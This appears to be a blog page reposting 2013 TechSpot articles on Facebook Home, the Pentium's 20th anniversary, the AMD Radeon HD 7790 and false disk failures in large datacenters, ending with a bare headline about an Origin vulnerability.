Facebook 'Home': What the web is saying about the Facebook phone

<div dir="ltr" style="text-align: left;" trbidi="on"> All the signs were there, hence the years of rumors about a potential "Facebook phone". But as it turns out <a href="http://www.techspot.com/tag/facebook/">Facebook</a> didn't delve into hardware or even as deep as developing a new mobile operating system. Instead, the company is leveraging Android's openness, adding a layer on top of the popular OS, and making its multiple services more widely available across (or should I say, front and center) the phone's interface. They are particularly taking over the lock and home screens (see the video below).<br /> The ultimate goal, make Facebook more ubiquitous than it already is. They won't admit it now, but if <a href="https://www.facebook.com/home">Facebook Home</a>, as they are calling it, gains any real traction they will look into monetizing those users as well. But for now, Facebook will simply try to get wider adoption from hardcore users of the social network and from users of the popular photo sharing service Instagram.<br /> <img src="http://static.techspot.com/fileshost/newspics3/2012/facebook-home.jpg" style="max-width: 98%;" /><br /> They are also partnering with HTC for a mid-range Facebook device, the HTC First. So again, it's as if the Facebook phone existed but they didn't had to go through the trouble of labeling so, committing to support it, or risking millions on banking such a project. A certain novelty factor could mean HTC is actually paying for the exclusivity, but over the longer term Facebook may be willing subsidize phone costs if their service is built into devices, a business model resembling that of Windows PC manufacturers.<br /> When the Android “app” launches next April 12 it will available for a small number of Samsung and HTC smartphones, with full support for all Android devices, tablets included, coming down the line.<br /> Personally, I'm on Facebook but I don't use it enough to even justify having the app on my phone, let alone putting it on top of everything else. Mark Zuckerberg tried to sell the idea of Home on a more positive light, talking about a paradigm shift from a device full of apps to one that is design around people.<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="allowfullscreen" frameborder="0" height="266" mozallowfullscreen="mozallowfullscreen" src="https://www.youtube.com/embed/zvUYdo6rZzM?feature=player_embedded" webkitallowfullscreen="webkitallowfullscreen" width="320"></iframe></div><br />Let's not forget Facebook remains at large a closed ecosystem, but there's likely a market for this among the millions of Facebook users who rely on it to message friends, take photos and even play games. You might recall an editorial that fellow editor Shawn Knight wrote last year on how he was <a href="http://www.techspot.com/article/564-deleted-facebook-account/">forced back into Facebook</a> since they had exclusive rights for UFC content, among others. Once again what we see here is Facebook playing to its strengths, so a wise business move any way you cut it.<br /> Here’s a short compendium of opinions about FB Home from across the web:<br /> Mat Honan, <a href="http://www.wired.com/gadgetlab/2013/04/facebooks-phone-is-a-triumph-of-mediocrity/" target="_blank">Wired</a>:<br /> <blockquote> Facebook Home doesn’t even have to be a hit. At least not right away. The important thing is that it’s out there, and it didn’t require a lot of up-front capital or R&D investment in hardware. It’s a better strategy than anything else the company has done in mobile.<br /> </blockquote>Dan Frommer, <a href="http://www.splatf.com/2013/04/facebook-phone-potential/" target="_blank">Splat F</a>:<br /> <blockquote> I also don’t expect hardcore Android users — the type of people who buy and love Samsung Galaxy Notes, or Google Nexus devices — to jump to Facebook devices. That’s not the target audience.<br /> </blockquote>Farhad Manjoo, <a href="http://www.slate.com/articles/technology/technology/2013/04/facebook_home_the_facebook_phone_is_not_as_dumb_as_i_thought_it_was_going.single.html" target="_blank">Slate</a>:<br /> <blockquote> I know what you’re thinking: I don’t want Facebook to take over my phone! I like apps! This is super terrible! What the heck is this world coming to?! Yes, yes, I feel the same way. But I’m a thirtysomething fellow who writes for a living and you’re the kind of person who reads essays about technology; in other words, you and I are probably too old and stodgy for this anyway.<br /> </blockquote>Alexis Madrigal, <a href="http://www.theatlantic.com/technology/archive/2013/04/the-soul-of-a-new-facebook-machine/274678/" target="_blank">The Atlantic</a>:<br /> <blockquote> As for the actual product itself, Facebook Home looks nice. It's pretty. The interface works in ways that will be easy to learn and understand. If it works as demo'd, I agree with Zuckerberg that it will be "the best version of Facebook there is."<br /> </blockquote>Tim Carmody, <a href="http://www.theverge.com/2013/4/4/4184006/opportunity-meet-problem-facebook-home-uneasy-relationship-google" target="_blank">The Verge</a>:<br /> <blockquote> Ultimately, it's a clash of styles. Compare Facebook Home to Google Now. [...] For Facebook, Google is both a problem and an opportunity. For Google, Facebook is mostly just a problem.<br /> </blockquote>Danny Sullivan, <a href="http://searchengineland.com/facebook-home-search-google-154626" target="_blank">Search Engine Land</a>:<br /> <blockquote> So how are these Facebook folks who’ve been using the Facebook Home already conduct searches? They open up Chrome, then search from within there. Plenty of people search in a similar way on iOS devices, by going through Safari or an alternative browser like Chrome. But for those used to one-touch “app-less” search, Facebook Home makes that harder.<br /> </blockquote>Ken Yeung, <a href="http://thenextweb.com/facebook/2013/04/05/facebook-home-doesnt-impress-but-its-potential-as-a-data-collection-powerhouse-does/" target="_blank">TNW</a>:<br /> <blockquote> Today, Facebook is furthering its information gathering by moving beyond the apps and the social networks that it controls by tapping straight into your phone.<br /> </blockquote>Miguel Helft, <a href="http://tech.fortune.cnn.com/2013/04/04/android-facebooks-new-weapon-against-google/" target="_blank">CNN</a>:<br /> <blockquote> Facebook's major announcement really amounts to one thing: The social network is using the search giant's own platform against it.<br /> </blockquote></div>

Facebook 'Home': What the web is saying about the Facebook phone

All the signs were there, hence the years of rumors about a potential "Facebook phone". But as it turns out Facebook didn't ...

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Happy birthday: Intel's Pentium processor turns 20 years old today

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"></div><div style="background-color: white; clear: right; color: #333333; float: right; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 1em; margin-left: 1em; outline: none;"><a href="http://static.techspot.com/images2/news/thumbs/2013-03-22-teasercd2.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img alt="amd, intel, happy birthday, cpu, athlon, chip, pentium, cyr" border="0" src="http://static.techspot.com/images2/news/thumbs/2013-03-22-teasercd2.jpg" style="background-color: transparent;" /></a>Intel’s infamous Pentium processor got its start 20 years ago today with the release of the Pentium 60 CPU. That chip utilized Intel’s 5-volt Socket 4, was build on an 800-nanometer process and carried 3.1 million transistors. For comparison, today’s third generation Ivy Bridge processors use a 22-nanometer process and contain 1.4 billion transistors.</div><br /><br /><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">As <a href="http://www.extremetech.com/computing/151379-happy-20th-birthday-pentium" style="color: #05408f; outline: none; text-decoration: none;" target="_blank">ExtremeTech</a> notes, early Pentium processors weren’t anything special. In fact, the first generation was barely faster than the 486DX chips they replaced. It wasn’t until the Pentium 3 came along that Intel really started to find traction with the platform, outpacing competing chips from AMD and Cyrix with ease.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Pentium 4, however, was regarded as a step back in the eyes of many. The architecture was designed to run at very high clock speeds (which it did) but at the expense of real-world performance. These chips also ran extremely hot, meaning they required a large heatsink and noisy cooling fan to keep under control. The misstep ultimately allowed AMD to take the performance crown with their highly successful Athlon line for several years.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Intel eventually found their way again with the Core architecture that debuted near the end of 2007. Interestingly enough, this platform was based on the same P6 architecture used in the first Pentium Pro back in 1995. The rest is pretty much history as Intel has had tremendous success with more recent platforms like Sandy Bridge and Ivy Bridge. With Haswell in sight and AMD hardly visible in the rear-view mirror, Intel appears set to carry on without much major competition for the foreseeable future.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"><a href="http://www.techspot.com/news/52039-happy-birthday-intels-pentium-processor-turns-20-years-old-today.html" target="_blank">Read More...</a></div></div>

Happy birthday: Intel's Pentium processor turns 20 years old today

Intel’s infamous Pentium processor got its start 20 years ago today with the release of the Pentium 60 CPU. That chip utilized Intel’s 5-vol...

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AMD Radeon HD 7790 Review

<div dir="ltr" style="text-align: left;" trbidi="on"><img alt="AMD Radeon HD 7790 Review" height="228" src="http://static.techspot.com/articles-info/652/images/radeon-7790-review.jpg" width="640" /><br /><br /><br /><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">AMD spent the better part of 2012 releasing an entire line of 28nm GPUs, starting with the Radeon HD 7970 in January and followed by over half a dozen more cards throughout the next 8 months.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Late in the year we wrapped things up with our feature <a href="http://www.techspot.com/review/603-best-graphics-cards/" style="color: #05408f; outline: none; text-decoration: none;">“The Best Graphics Cards: Nvidia vs. AMD Current-Gen Comparison”</a>which saw Nvidia take out the $100 - $150 price bracket with the GeForce GTX 650 Ti, while AMD claimed the $150 - $200 range with the Radeon HD 7850.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">As well-thought-out as the Radeon HD 7000 series was, we kind of hoped 2012 would mark the beginning and the end for the series, much as 2011 did for the previous generation. Expecting something entirely new was not to be, as we are now three months into 2013 and we find ourselves reviewing a brand new AMD graphics card that isn’t based on a new architecture.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Rather what we have is the latest member of the Southern Islands family, designed to fill the gap between the Radeon HD 7770 and 7850.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"></div><center style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; outline: none;"><a href="http://www.blogger.com/blogger.g?blogID=1658461837330835216" style="color: #05408f; outline: none; text-decoration: none;"><img border="0" src="http://www.techspot.com/articles-info/652/images/Image_01S.jpg" style="border: 0px; outline: none;" /></a></center><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"></div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Not the most exciting product to be released, and its performance will be a far cry from what we saw with the <a href="http://www.techspot.com/review/644-nvidia-geforce-titan/" style="color: #05408f; outline: none; text-decoration: none;">GeForce GTX Titan</a> last month. That said, the new Radeon HD 7790 is likely going to be of more interest than the GTX Titan to many of you for the simple reason that it is affordable and should be pretty good value as well.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">The Radeon HD 7790 will be available in volume beginning April 2nd for as little as $150, which prices it smack bang between the 7770 and 7850. Current pricing has the <a href="http://www.techspot.com/review/501-amd-radeon-hd-7770-7750-crossfire/" style="color: #05408f; outline: none; text-decoration: none;">Radeon HD 7770</a> at around $110-$120, while the <a href="http://www.techspot.com/review/504-amd-radeon-7870-7850/" style="color: #05408f; outline: none; text-decoration: none;">7850</a> costs betwen $180 and $200.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Last time we checked the GeForce GTX 650 Ti represented the best value in this bracket, but it looks like AMD is trying to win us over.</div><h2 style="background-color: white; color: #05408f; font-family: Arial, Helvetica, sans-serif; font-size: 23px; line-height: 1.3; margin: 0px 0px 10px; outline: none; padding: 0px;">Radeon HD 7790 in Detail</h2><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">The Gigabyte Radeon HD 7790 we tested measured 19cm long, a typical length for a modern mid-range graphics card. Gigabyte’s own version of the GTX 650 Ti measures 23cm long, though the actual PCB is quite shorter at a mere 14.5cm long. This new Radeon GPU core runs at 1GHz, which is the highest frequency for any Radeon card, matching the 7770, 7870 and 7970 GHz Edition cards.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">The HD 7790 is clocked 16% higher than the HD 7850, while its GDDR5 memory is also faster at 1500MHz (6.0GHz DDR). Still, pairing that frequency with a minuscule 128-bit memory bus gives the HD 7790 96GB/s of theoretical bandwidth, which is actually a lot less than the old HD 6790.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"></div><center style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; outline: none;"><a href="http://www.blogger.com/blogger.g?blogID=1658461837330835216" style="color: #05408f; outline: none; text-decoration: none;"><img border="0" src="http://www.techspot.com/articles-info/652/images/Image_05S.jpg" style="border: 0px; outline: none;" /></a></center><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"></div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Gigabyte has overclocked their 7790 card from 1000MHz to a core speed of 1075MHz. However for the purpose of this review we have clocked the card back to the default AMD specification of 1GHz.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">The HD 7790 comes loaded with a 1GB frame buffer, the same as previous-gen mid-range cards. We don't doubt that board partners will release 2GB versions, but because the HD 7790 isn't designed for extreme resolutions, 2GB models aren't likely to provide any performance boost.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"></div><center style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; outline: none;"><a href="http://www.blogger.com/blogger.g?blogID=1658461837330835216" style="color: #05408f; outline: none; text-decoration: none;"><img border="0" src="http://www.techspot.com/articles-info/652/images/Image_06S.jpg" style="border: 0px; outline: none;" /></a></center><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"></div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"></div><center style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; outline: none;"><a href="http://www.blogger.com/blogger.g?blogID=1658461837330835216" style="color: #05408f; outline: none; text-decoration: none;"><img border="0" src="http://www.techspot.com/articles-info/652/images/Image_07T.jpg" style="border: 0px; outline: none;" /></a></center><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"></div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"></div><center style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; outline: none;"><a href="http://www.blogger.com/blogger.g?blogID=1658461837330835216" style="color: #05408f; outline: none; text-decoration: none;"><img border="0" src="http://www.techspot.com/articles-info/652/images/Image_08T.jpg" style="border: 0px; outline: none;" /></a></center><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"></div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">The HD 7790's core configuration also differs from the HD 7770. This new GPU carries 896 SPUs, 56 TAUs and 16 ROPs. That's 40% more SPUs and TAUs, while the ROPs remain the same.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Gigabyte has chosen to cool the "Bonaire XT" GPU using their own custom design which employs a massive 95mm fan. Under this fan is a relatively small aluminum heatink measuring 11.5cm long, 9cm wide and at its thickest 2cm tall. While that might sound like a decent size heatsink, by graphics card standards it is actually quite small.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">The HD 7790 operates at near silence because even under load it only draws 85 watts and as little as 3 watts at idle, courtesy of the ZeroCore Power technology.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"></div><center style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; outline: none;"><a href="http://www.blogger.com/blogger.g?blogID=1658461837330835216" style="color: #05408f; outline: none; text-decoration: none;"><img border="0" src="http://www.techspot.com/articles-info/652/images/Image_02T.jpg" style="border: 0px; outline: none;" /></a></center><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"></div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">To feed the card enough power, AMD has included a single 6-pin PCI Express power connector -- the same setup you'll find on the HD 7770, 7850 and GTX 650 Ti, as well as numerous other mid-range graphics cards.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Naturally, the HD 7790 supports Crossfire and so there are a pair of connectors for bridging two cards together. The only other connectors are on the I/O panel. The AMD reference version has a dual DL-DVI connector, a single HDMI 1.4a port and two Mini DisplayPort 1.2 sockets. The Gigabyte version is a little different as it employs a pair of DL-DVI connectors, a single HDMI 1.4a port and a standard DisplayPort socket.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"><a href="http://www.techspot.com/review/652-amd-radeon-hd-7790/" target="_blank">Read More...</a></div></div>

AMD Radeon HD 7790 Review

AMD spent the better part of 2012 releasing an entire line of 28nm GPUs, starting with the Radeon HD 7970 in January and followed by over ha...

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What is false disk failure, and why is it a problem?

<div dir="ltr" style="text-align: left;" trbidi="on"><br /><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">I’ve spent a lot of time with mega datacenters (MDCs) around the world trying to understand their problems – and I really don’t care what area those problems are as long as they’re important to the datacenter. What is the #1 Real Problem for many large scale mega datacenters? It’s something you’ve probably never heard about, and probably have not even thought about. It’s called false disk failure. Some mega datacenters have crafted their own solutions – but most have not.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Why is this important, you ask? Many large datacenters today have 1 million to 4 million hard disk drives (HDDs) in active operation. In anyone’s book that’s a lot. It’s also a very interesting statistical sample size of HDDs. MDCs get great pricing on HDDs. Probably better than OEMs get, and certainly better than the $79 for buying 1 HDD at your local Fry’s store. So you would imagine if a disk fails – no one cares – they’re cheap and easy to replace. But the burden of a failed disk is much more than the raw cost of the disk:</div><ul style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; outline: none;"><li style="outline: none;">Disk rebuild and/or data replicate of 2TB or 3TB drive<ul style="outline: none;"><li style="outline: none;">Performance overhead of a RAID rebuild makes it difficult to justify, and can take days</li><li style="outline: none;">Disk capacity must be added somewhere to compensate: ~$40-$50</li><li style="outline: none;">Redistribute replicated data across many servers</li><li style="outline: none;">Infrastructure overhead to rebalance workloads to other distributed servers</li><li style="outline: none;">Person to service disk: remove and replace<ul style="outline: none;"><li style="outline: none;">And then ensure the HDD data cannot be accessed – wipe it or shred it</li></ul></li></ul></li></ul><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Let’s put some scale to this problem, and you’ll begin to understand the issue.  One modest size MDC has been very generous in sharing its real numbers. (When I say modest, they are ~1/4 to 1/2 the size of many other MDCs, but they are still <strong style="outline: none;">huge</strong> – more than 200k servers). Other MDCs I have checked with say – yep, that’s about right. And one engineer I know at an HDD manufacturer said – “wow – I expected worse than that. That’s pretty good.” To be clear – these are very good HDDs they are using, it’s just that the numbers add up.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none; text-align: center;"><img src="http://static.techspot.com/images2/news/bigimage/2013-03-25-image-1.jpg" style="outline: none;" /></div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">The raw data:</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">RAIDed SAS HDDs</div><ul style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; outline: none;"><li style="outline: none;">300k SAS HDDs</li><li style="outline: none;">15-30 SAS failed per day<ul style="outline: none;"><li style="outline: none;">SAS false fail rate is about 30%~45% (10-15 per day)</li><li style="outline: none;">About 1/1000 HDD annual false failure rate</li></ul></li></ul><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Non-RAIDed (direct map) SATA drives behind HBAs</div><ul style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; outline: none;"><li style="outline: none;">1.2M SATA HDDs</li><li style="outline: none;">60-80 SATA failed disks per day<ul style="outline: none;"><li style="outline: none;">SATA false fail rate is about 40~55% (24-40 per day)</li><li style="outline: none;">About 1/100 HDD annual false failure rate</li></ul></li></ul><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">What’s interesting is the relative failure rate of SAS drives vs. SATA. It’s about an order of magnitude worse in SATA drives than SAS. Frankly some of this is due to protocol differences. SAS allows far more error recovery capabilities, and because they also tend to be more expensive, I believe manufacturers invest in slightly higher quality electronics and components. I know the electronics we ship into SAS drives is certainly more sophisticated than SATA drives.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">False fail? What? Yea, that’s an interesting topic. It turns out that about 40% of the time with SAS and about 50% of the time with SATA, the drive didn’t actually fail. It just lost its marbles for a while. When they pull the drive out and put it into a test jig, everything is just fine. And more interesting, when they put the drive back into service, it is no more statistically likely to fail again than any other drive in the datacenter. Why? No one knows. I suspect though.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">I used to work on engine controllers. That’s a very paranoid business. If something goes wrong and someone crashes, you have a lawsuit on your hands. If a controller needs a recall, that’s millions of units to replace, with a multi-hundred dollar module, and hundreds of dollars in labor for each one replaced. <strong style="outline: none;">No one</strong> is willing to take that risk. So we designed very carefully to handle soft errors in memory and registers. We incorporated ECC like servers use, background code checksums and scrubbing, and all sorts of proprietary techniques, including watchdogs and super-fast self-resets that could get operational again in less than a full revolution of the engine.  Why? – the events were statistically rare. The average controller might see 1 or 2 events in its lifetime, and a turn of the ignition would reset that state.  But the events do happen, and so do recalls and lawsuits… HDD controllers don’t have these protections, which is reasonable. It would be an inappropriate cost burden for their price point.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">You remember the Toyota Prius accelerator problems? I know that controller was not protected for soft errors. And the source of the problem remained a “mystery.”  Maybe it just lost its marbles for a while? A false fail if you will. Just sayin’.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Back to HDDs. False fail is especially frustrating, because half the HDDs actually didn’t need to be replaced. All the operational costs were paid for no reason. The disk just needed a power cycle reset. (OK, that introduces all sorts of complex management by the RAID controller or application to manage that 10 second power reset cycle and application traffic created in that time – be we <strong style="outline: none;">can</strong> handle that.)</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"><em style="outline: none;"><strong style="outline: none;">Daily</strong></em>, this datacenter has to:</div><ul style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; outline: none;"><li style="outline: none;">Physically replace 100 disk drives<ul style="outline: none;"><li style="outline: none;">Individually destroy or recycle the 100 failed drives</li><li style="outline: none;">Replicate or rebuild 200-300 TBytes of data – just think about that</li><li style="outline: none;">Rebalance the application load on at least 100 servers – more likely 100 <strong style="outline: none;">clusters</strong> of servers – maybe 20,000 servers?</li><li style="outline: none;">Handle the network traffic  load of ~200 TBytes of replicated data<ul style="outline: none;"><li style="outline: none;">That’s on the order of 50 hours of 10GBit Ethernet traffic…</li></ul></li></ul></li></ul><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">And 1/2 of that is for <em style="outline: none;"><strong style="outline: none;">no reason at all</strong></em>.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">First – why not rebuild the disk if it’s RAIDed? Usually MDCs use clustered applications. A traditional RAID rebuild drives the server performance to ~50%, and for a 2TByte drive, under heavy application load (definition of a MDC) can truly take up to a week.  50% performance for a week? In a cluster that means the overall <strong style="outline: none;">cluster</strong> is running ~50% performance.  Say 200 nodes in a cluster – that means you just lost ~100 nodes of work – or 50% of cluster performance. It’s much simpler to just take the node offline with the failed drive, and get 99.5% cluster performance, and operationally redistribute the workload across multiple nodes (because you have replicated data elsewhere). But after rebuild, the node will have to be re-synced or re-imaged. There are ways to fix all this. We’ll talk about them on another day. Or you can simply run direct mapped storage, and unmounts the failed drive.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Next – Why replicate data over the network, and why is that a big deal? For geographic redundancy (say a natural disaster at one facility) and regional locality, MDCs need multiple data copies. Often 3 copies so they can do double duty as high-availability copies, or in the case of some erasure coding, 2.2 to 2.5 copies (yea – weird math – how do you have 0.5 copy…). When you lose one copy, you are down to 2, possibly 1. You need to get back to a reliable number again. Fast. Customers are loyal because of your perfect data retention. So you need to replicate that data and re-distribute it across the datacenter on multiple servers. That’s network traffic, and possibly congestion, which affects other aspects of the operations of the datacenter. In this datacenter it’s about 50 hours of 10G Ethernet traffic every day.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none; text-align: center;"><img src="http://static.techspot.com/images2/news/bigimage/2013-03-25-image-2.jpg" style="outline: none;" /></div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">To be fair, there is a new standard in SAS interfaces that will facilitate resetting a disk in-situ. And there is the start of discussion of the same around SATA – but that’s more problematic. Whatever the case, it will be a years before the ecosystem is in place to handle the problems <em style="outline: none;">this</em> way.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">What’s that mean to you?</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;">Well. You can expect something like 1/100 of your drives to really fail this year. <em style="outline: none;">And</em> you can expect another 1/100 of your drives to fail this year, but not actually be failed. You’ll <strong style="outline: none;">still</strong> pay all the operational overhead of not actually having a failed drive – rebuilds, disk replacements, management interventions, scheduled downtime/maintenance time, and the OEM replacement price for that drive – what $600 or so ?… Depending on your size, that’s either a don’t care, or a big deal. There are ways to handle this, and they’re not expensive – much less than the disk carrier you already pay for to allow you to replace that drive – and it can be handled transparently – just a log entry without seeing any performance hiccups.  You just need to convince your OEM to carry the solution.</div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"><span style="color: #555555; outline: none;"><a href="http://blog.lsi.com/contributors/#RobOber" style="color: #05408f; outline: none; text-decoration: none;" target="_blank">Rob Ober</a> drives <a href="http://blog.lsi.com/what-is-false-disk-failure-and-why-is-it-a-problem/" style="color: #05408f; outline: none; text-decoration: none;" target="_blank">LSI</a> into new technologies, businesses and products as an LSI fellow in Corporate Strategy. Prior to joining LSI, he was a fellow in the Office of the CTO at AMD, responsible for mobile platforms, embedded platforms and wireless strategy. He was a founding board member of OLPC ($100 laptop.org) and OpenSPARC.</span></div><div style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 17px; line-height: 25px; margin-bottom: 15px; outline: none;"><span style="color: #555555; outline: none;"><a href="http://www.techspot.com/news/52047-what-is-false-disk-failure-and-why-is-it-a-problem.html" target="_blank">Read More...</a></span></div></div>

What is false disk failure, and why is it a problem?

I’ve spent a lot of time with mega datacenters (MDCs) around the world trying to understand their problems – and I really don’t care what ar...

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Origin vulnerability lets attackers hijack gaming machines

